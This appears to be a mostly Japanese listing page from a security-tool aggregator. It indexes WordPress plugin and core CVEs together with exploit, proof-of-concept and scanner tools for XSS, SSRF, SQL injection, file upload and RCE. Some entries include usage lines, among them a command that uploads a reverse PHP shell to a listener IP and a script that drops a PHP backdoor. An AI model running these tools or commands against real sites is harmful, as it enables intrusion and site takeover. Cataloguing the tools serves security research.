CVE-2026-78393

The Link Library WordPress plugin before 7.9.6 does not properly escape some parameters before outputting them in the addresses of links it generates on its front-end directory pages, leading to Reflected Cross-Site Scripting which could be used against any visitor, including logged-in...

CVE-2026-78397

The Link Library WordPress plugin before 7.9.6 does not validate the destination of a user-supplied URL before falling back to an unprotected fetch when its safe request is rejected, allowing unauthenticated visitors to make the site issue requests to hosts on its internal network and to learn fr...

CVE-2026-14281

The Automation Web Platform – Notifications and OTP for WooCommerce, Advanced Country Code plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.8.6. This is due to missing permission enforcement on the publicly accessible REST route POST...

wp2shell_scanner

wp2shellscanner 最近のWordPress コア 脆弱性 — wp2shell 事前認証RCEチェーンを含む — に対する非侵入型検出スキャナーです。 wp2shellscanner.py はWordPressサイトのコアバージョンをフィンガープリントし、公開されているREST APIサーフェスを読み取り、検出されたバージョンに対して追跡中の各コアCVEを個別に 分類します。判定はブランチ対応 です — 例えば 6.8.x のサイトはSQLインジェクションCVEには露出していると正しく報告されますが、完全なRCEチェーンには 該当しません 。検出のみ...

CVE-2025-11749

CVE-2025-11749 AI Engine = 3.1.3 - 未認証の機密情報漏えいから権限昇格へ ⚠️ AI Engine = 3.1.3 — 未認証の機密情報漏えい → 権限昇格 GitHub: Nxploited Telegram: @KNxploited 重要なお知らせ: 私が作成したコードを転売したり、スクリプトの名前を変更して作者を騙ったりして利益を得ようとする非倫理的な個人が多く存在します。このプロジェクトは無料であり、Khaled Alenazi Nxploited によって独占的に正式リリースされています。 🔎 概要 WordPress 用プラグイン AI...

CVE-2026-1555

CVE-2026-1555 WebStack = 1.2024 - 認証なし任意ファイルアップロード 👤 作成者: Nxploited 🔗 Nxploited ZeroDay Hub — t.me/KNxploited 💀 CVE-2026-1555 — WebStack WordPress 任意ファイルアップロード imgupload AJAX ハンドラを介した認証なしリモートコード実行...

CVE-2023-3452-PoC

CVE-2023-3452-PoC - WordpressプラグインCanto を記述すると、リモートでコードを実行できます。 root@kitploit: http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?w...

CVE-2021-25076

CVE-2021-25076-エクスプロイト Wordpress プラグイン WP User Frontend 3.5.26 - SQLインジェクション 認証済み CVE 説明: バージョン3.5.26以前のWordpressプラグインWP User Frontendは、SubscribersダッシュボードでSQL文で使用する前にstatusパラメータを検証およびエスケープしないため、SQLインジェクションが発生します。サニタイズとエスケープの欠如により、これは反射型クロスサイトスクリプティング（XSS）にもつながる可能性があります。...

CVE-2019-15858

CVE-2019-15858 Woody Ad Snippets における非認証リモートコード実行 PoC 認証されていないオプションインポートの脆弱性と格納型XSSの脆弱性が組み合わさることで、WordPress の Woody Ad Snippets アクティブインストール数 90,000 以上 でリモートコード実行が可能になります。 Woody Ad Snippets は、管理者がブログ内に条件に応じて任意のコード、テキスト、広告 JS、CSS、HTML、さらにはPHPコード を挿入できるプラグインです。バージョン 2.2.4 以前には2つの脆弱性が存在し、WordPress...

WP-CVE-2023-32243

WP-CVE-2023-32243 使い方 1. 依存関係がインストールされていることを確認してください: root@kitploit: pip install requests 2. ターゲットリストファイルを使用してスクリプトを実行します: root@kitploit: python2 file.py ⚠️ 免責事項 このリポジトリはセキュリティ研究および教育目的のみ で作成されました。 免責事項の詳細は、Jenderal92のカバーにある免責事項をご覧ください。こちら !!! で確認できます。...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 リバースシェルアップロード h3v0x 氏による エクスプロイト に基づいた WpDiscuz 7.0.4 用のエクスプロイト。 脆弱性を悪用し、リバース PHP シェルをアップロードします。着想は Blogger CTF から得ました。 exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 使用例:...

wordpress_cropimage

WordPress Crop-Image CVE-2019-8943 WordPress Crop-Image CVE-2019-8943 の認証済みリモートコード実行（RCE）のためのPython3スクリプトです。悪意のあるPHPバックドアをドロップします。 はじめに プログラムの実行 RCE root@kitploit: python3 wprce.py -t http://wordpress.rce/ -u admin -p password -m twentytwenty ヘルプ ヘルプメニューを表示するには： root@kitploit: python3 wprce.py -h...

CVE-2025-7384

CVE-2025-7384 — PHPオブジェクトインジェクションによるRCE プラグイン: Database for Contact Form 7 contact-form-entries ≤ 1.4.3 CVSS: 9.8（重大） CWE: CWE-502 — 信頼できないデータのデシリアライゼーション 認証要件: なし（未認証） 影響: リモートコード実行 目次 1. 脆弱性の概要 2. 関連概念 3. 根本原因分析（ソースコード＋デバッグ） 4. 攻撃チェーン 5. ステップバイステップの再現（POC） 6. 影響評価 7. 修復策 1. 脆弱性の概要 「Database for...

CVE-2024-7313

Shield Security プラグインの脆弱性エクスプロイト CVE-2024-7313 概要 このリポジトリには、WordPress 用 Shield Security プラグイン（20.0.6 未満のバージョンに影響）の反射型 XSS 脆弱性を悪用するために設計された Python PoC スクリプトが含まれています。この脆弱性（CVE-2024-7313）により、攻撃者はターゲットに合わせた悪意のあるリンクを作成でき、管理者がそのリンクをクリックすると、XSS...

CVE-2024-25600-Bricks-Builder-plugin-for-WordPress

CVE-2024-25600 エクスプロイトツール 🚀 説明 📝 このツール 🛠️ は、WordPress 用の Bricks Builder プラグインに存在する CVE-2024-25600 の脆弱性 🕳️ を悪用するために設計されています。この脆弱性により、影響を受けるウェブサイト 💻 では、認証なしでリモートからコードが実行される可能性があります。このツールは、nonce を取得し、特別に細工したリクエストを送信して任意のコマンドを実行することで、悪用プロセスを自動化します。 機能 🌟 インタラクティブモード : ターゲットウェブサイトとリアルタイムで対話します 🕹️。 バッチモード...

XSS2Shell

XSS2Shell XSS2Shell は、CVE-2026-64638 の教育的な概念実証（PoC）であり、脆弱な WordPress インストールにおける事前認証 XSS 問題の影響を示すものです。管理者が明示的に参加することで、PoC は WordPress アプリケーションパスワードを取得し、一時ページを公開し、テストプラグインをアップロードし、生成されたシェルエンドポイントがコマンドを実行できるかどうかを確認します。 技術的背景: WordPress の事前認証 XSS から RCE へ: CVE-2026-64638 教育および許可を得たテストのみを対象としています。...

wp2shell-scan

wp2shell-scan WordPress コアの事前認証リモートコード実行（RCE）脆弱性である CVE-2026-63030（wp2shell）のスキャナ兼概念実証（PoC）ツールキット 機能 非破壊的な検出方法が 2 種類: --check-type time-based（SLEEP タイミング）と --check-type error-based（TRUE/FALSE/失敗差分）。どちらも広範な資産スキャンに安全です。 1 回の実行で URL リストと複数ターゲットをサポート。 コンテンツベースのブールオラクル抽出は、SLEEP、エラー出力、MySQL の FILE...

CVE-2022-1329-WordPress-Elementor-RCE

CVE-2022-1329-WordPress-Elementor-RCE このPoCは、AkuCyberSec のものに基づいています。 中国語版 使用方法 docker-compose を使って脆弱性環境を起動します: root@kitploit: docker-compose up -d その後、URL http://localhost:8000 で WordPress 管理画面にアクセスできます。 管理者ユーザーを登録し、Users タグに no-admin ユーザーを追加します。例えば、次の2人のユーザーがいます:...

CVE-2024-28000

CVE-2024-28000 PoC このリポジトリには、LiteSpeed Cache プラグインを使用する WordPress サイトに影響を与える CVE-2024-28000 の脆弱性を悪用するためのツールが含まれています。同梱のスクリプトは、公開された debug.log ファイルの検出と、未承認ユーザーが管理者レベルのアクセスを取得できるようにする権限昇格の脆弱性の悪用を自動化します。この脆弱性に関する詳細なドキュメントは、こちらで確認できます:...

0-click-RCE-Exploit-for-CVE-2024-10924

CVE-2024-10924 / 認証バイパス2FAを利用したRCEエクスプロイト 作者: Joshua Provoste https://x.com/JoshuaProvoste/status/1859061671852909055 このリポジトリには、WordPressプラグイン「Really Simple Security」の認証および2FAバイパスの脆弱性であるCVE-2024-10924の概念実証PoCエクスプロイトが含まれており、これを利用してリモートコード実行RCEを達成できます。 スクリプトの動作内容...